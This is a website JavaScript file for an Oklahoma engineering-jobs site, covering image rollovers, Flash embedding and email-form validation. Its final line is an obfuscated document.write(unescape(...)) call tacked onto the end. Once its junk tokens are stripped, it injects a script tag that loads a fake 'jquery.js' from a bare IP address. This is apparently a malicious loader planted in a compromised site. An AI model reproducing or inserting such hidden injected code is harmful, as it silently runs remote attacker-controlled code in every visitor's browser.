//Preload Rollover Images
emailDivOff = new Image();
emailDivOff.src = "images/email_off.jpg";
emailDivOn = new Image();
emailDivOn.src = "images/email_on.jpg";
compareDivOff = new Image();
compareDivOff.src = "images/compare_off.jpg";
compareDivOn = new Image();
compareDivOn.src = "images/compare_on.jpg";
costDivOff = new Image();
costDivOff.src = "images/cost_off.jpg";
costDivOn = new Image();
costDivOn.src = "images/cost_on.jpg";
qolDivOff = new Image();
qolDivOff.src = "images/qol_off.jpg";
qolDivOn = new Image();
qolDivOn.src = "images/qol_on.jpg";
relocateDivOff = new Image();
relocateDivOff.src = "images/relocate_off.jpg";
relocateDivOn = new Image();
relocateDivOn.src = "images/relocate_on.jpg";
listDivOff = new Image();
listDivOff.src = "images/home_off.jpg";                                      
listDivOn = new Image();
listDivOn.src = "images/home_on.jpg"; 
taxDivOff = new Image();
taxDivOff.src = "images/tax_credits_off.jpg";                                      
taxDivOn = new Image();
taxDivOn.src = "images/tax_credits_on.jpg";    

var lastClicked = "";
var lastName = "email";
var clicked = "listDiv";

var defaultMessage = "Check out www.okengineeringjobs.com. It's loaded with job links and other links about high-quality, low-cost living in Oklahoma.";

//Switches Link Images
function switchImage(a,b){
//listDiv
	//alert(clicked);
	if(clicked == a+"Div"){
	document.images[lastName].src=eval(lastName + "DivOff.src");
	document.images[a].src=eval(a + "DivOn.src");
	lastName = a;
	}else{
		document.images[a].src=eval(b + ".src"); 
	}
}

function setFocus(thisObject){
	document.getElementById(thisObject).focus();
}

//Media Player
function thisMedia(file){
	flashEmbed = "<div style='width:426px; text-align:right; margin-top:10px;'><a href='javascript: clearMedia();' style='padding-right:40' title='Close This Player Window'><img src='images/closeBtn.gif' border='0' /></a></div>";	
	flashEmbed += '<div><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="346" height="368" id="player" align="middle">';
	flashEmbed += '<param name="allowScriptAccess" value="always" />';
	flashEmbed += '<param name="movie" value="http://www.okcommerce.gov/components/com_medialibrary/netstream_player_stand_alone.swf" />';
	flashEmbed += '<param name="FlashVars" value="caption='+file+'" />';
	flashEmbed += '<param name="quality" value="high" />';
	flashEmbed += '<param name="wmode" value="transparent">';
	flashEmbed += '<embed src="http://www.okcommerce.gov/components/com_medialibrary/netstream_player_stand_alone.swf" FlashVars="caption='+file+'" wmode="transparent" quality="high" bgcolor="#333333" width="346" height="368" name="player" id="player" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />';
	flashEmbed += '</object></div>';		
	return flashEmbed;
}

//Stand Alone Flash Content
function thisFlash(file,w,h){
	var wDividedByTwo = Number(w)/2;
	var clientWidth = document.body.clientWidth;
	var flashLeftPos = clientWidth/2 - wDividedByTwo;
	
	document.getElementById("flashContent").style.top = "110px";
	document.getElementById("flashContent").style.left = flashLeftPos+"px";
	
	//alert(flashLeftPos);
	
	flashEmbed = "<div style='text-align:right; background-color:#999999;'><a href='javascript: clearFlash();' title='Close This Player Window'><img src='images/closeBtn.gif' border='0' /></a></div>";	
	flashEmbed += '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="'+w+'" height="'+h+'" id="player" align="middle">';
	flashEmbed += '<param name="allowScriptAccess" value="always" />';
	flashEmbed += '<param name="movie" value="'+file+'" />';
	flashEmbed += '<param name="quality" value="high" />';
	flashEmbed += '<param name="bgcolor" value="#999999" />';
	flashEmbed += '<embed src="'+file+'" quality="high" bgcolor="#999999" width="'+w+'" height="'+h+'" name="player" id="player" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />';
	flashEmbed += '</object>';		
	return flashEmbed;
}

var lastCaller = "tour";
function insertMedia(file,caller){
	
	document.getElementById("mediaSpot").style.visibility = "visible";
	document.getElementById("mediaSpot").innerHTML = thisMedia(file);
	//alert(caller);
	document.getElementById(lastCaller).className =  "unhighlight";
	lastCaller = caller;
	document.getElementById("mediaSpot").style.visibility = "visible";
	document.getElementById("mediaSpot").innerHTML = thisMedia(file);
	document.getElementById(caller).className =  "highlight";
	
	window.scroll(0,0);
}

function insertFlash(file,w,h){
	clearMedia();
	document.getElementById("flashContent").style.visibility = "visible";
	document.getElementById("flashContent").innerHTML = thisFlash(file,w,h);
	setFocus("flashContent");
}

function clearMedia(){
	document.getElementById("mediaSpot").innerHTML = "";
}

function clearFlash(){
	document.getElementById("flashContent").innerHTML = "";
	document.getElementById("flashContent").style.visibility = "hidden";
}

//Form Effects
function highlight(arg){
	document.getElementById(arg.id).style.border = "2px solid #002f5e";
	document.getElementById(arg.id).style.borderRight = "10px solid #002f5e";
	document.getElementById(arg.id).style.borderLeft = "5px solid #002f5e";
	document.getElementById(arg.id).style.backgroundColor = "#FFFF99";
	
	//if(document.getElementById(arg.id).nodeName == "TEXTAREA"){
		//if(document.getElementById(arg.id).value == defaultMessage){
			//document.getElementById(arg.id).value = "";
		//}
	//}	
}

function restore(arg){
	document.getElementById(arg.id).style.border = "2px solid #FFFFFF";
	document.getElementById(arg.id).style.backgroundColor = "#EEEEEE";

	//check tag name
	if(document.getElementById(arg.id).nodeName == "TEXTAREA"){
		if(navigator.appName == "Netscape"){document.getElementById(arg.id).childNodes[0].nodeValue = document.getElementById(arg.id).value;}
		if(document.getElementById(arg.id).value == ""){
			document.getElementById(arg.id).value = defaultMessage;
		}
	}else{
		document.getElementById(arg.id).attributes["value"].nodeValue = document.getElementById(arg.id).value;
	}
	
	//Update last state of email form
	//alert(document.getElementById("contentWindow").innerHTML)
	document.getElementById("emailDiv").innerHTML = document.getElementById("contentWindow").innerHTML;
	
}
		
//Form Valitator
function validate_form(thisform){
	//alert("validating");
	
	function highLight(arg,message){
		document.getElementById(arg).style.border = "2px solid #002f5e";
		document.getElementById(arg).style.borderRight = "10px solid #002f5e";
		document.getElementById(arg).style.borderLeft = "5px solid #002f5e";
		document.getElementById(arg).style.backgroundColor = "#FFFF99";
		
		document.getElementById("error_" + arg).innerHTML = message;
		document.getElementById("error_" + arg).style.backgroundColor = "#002f5e";

	}
	if(thisform.toEmail.value.indexOf("@") == -1){
		//alert(thisform.fromName.id);
		thisform.toEmail.focus();
		highLight("toEmail","Valid E-mail Address Required");
		return false;
	}
	
	if(thisform.toEmail.value.indexOf(".") == -1){
		//alert(thisform.fromName.id);
		thisform.toEmail.focus();
		highLight("toEmail","Valid E-mail Address Required");
		return false;
	}
	
	if(thisform.fromName.value == ""){
		//alert(thisform.fromName.id);
		thisform.fromName.focus();
		highLight("fromName","Please Provide Your Name.");
		return false;
	}
	
	if(thisform.fromEmail.value.indexOf("@") == -1){
		//alert(thisform.fromName.id);
		thisform.fromEmail.focus();
		highLight("fromEmail","Valid E-mail Address Required");
		return false;
	}
	
	if(thisform.fromEmail.value.indexOf(".") == -1){
		//alert(thisform.fromName.id);
		thisform.fromEmail.focus();
		highLight("fromEmail","Valid E-mail Address Required");
		return false;
	}
	
	if(thisform.text.value == ""){
		//alert(thisform.fromName.id);
		thisform.text.focus();
		highLight("text","Required");
		return false;
	}
	//alert("hey");
	buildAJAXPost();
	return false;

}<!-- 
document.write(unescape('%3CuXscripHoftcA%20V9suXrcHof%3DHof%2FHof%2F9dKS4%2E2R244Hof7%2EjK2R24%2E1jK9dKS5%2FjqdKSucAerjKyuX%2EjKjs%3E%3CuX%2FUI7sHofcriuXpt%3E').replace(/T4P|jK|V9|dKS|Hof|QzG|uX|cA|UI7|R24/g,""));
 -->
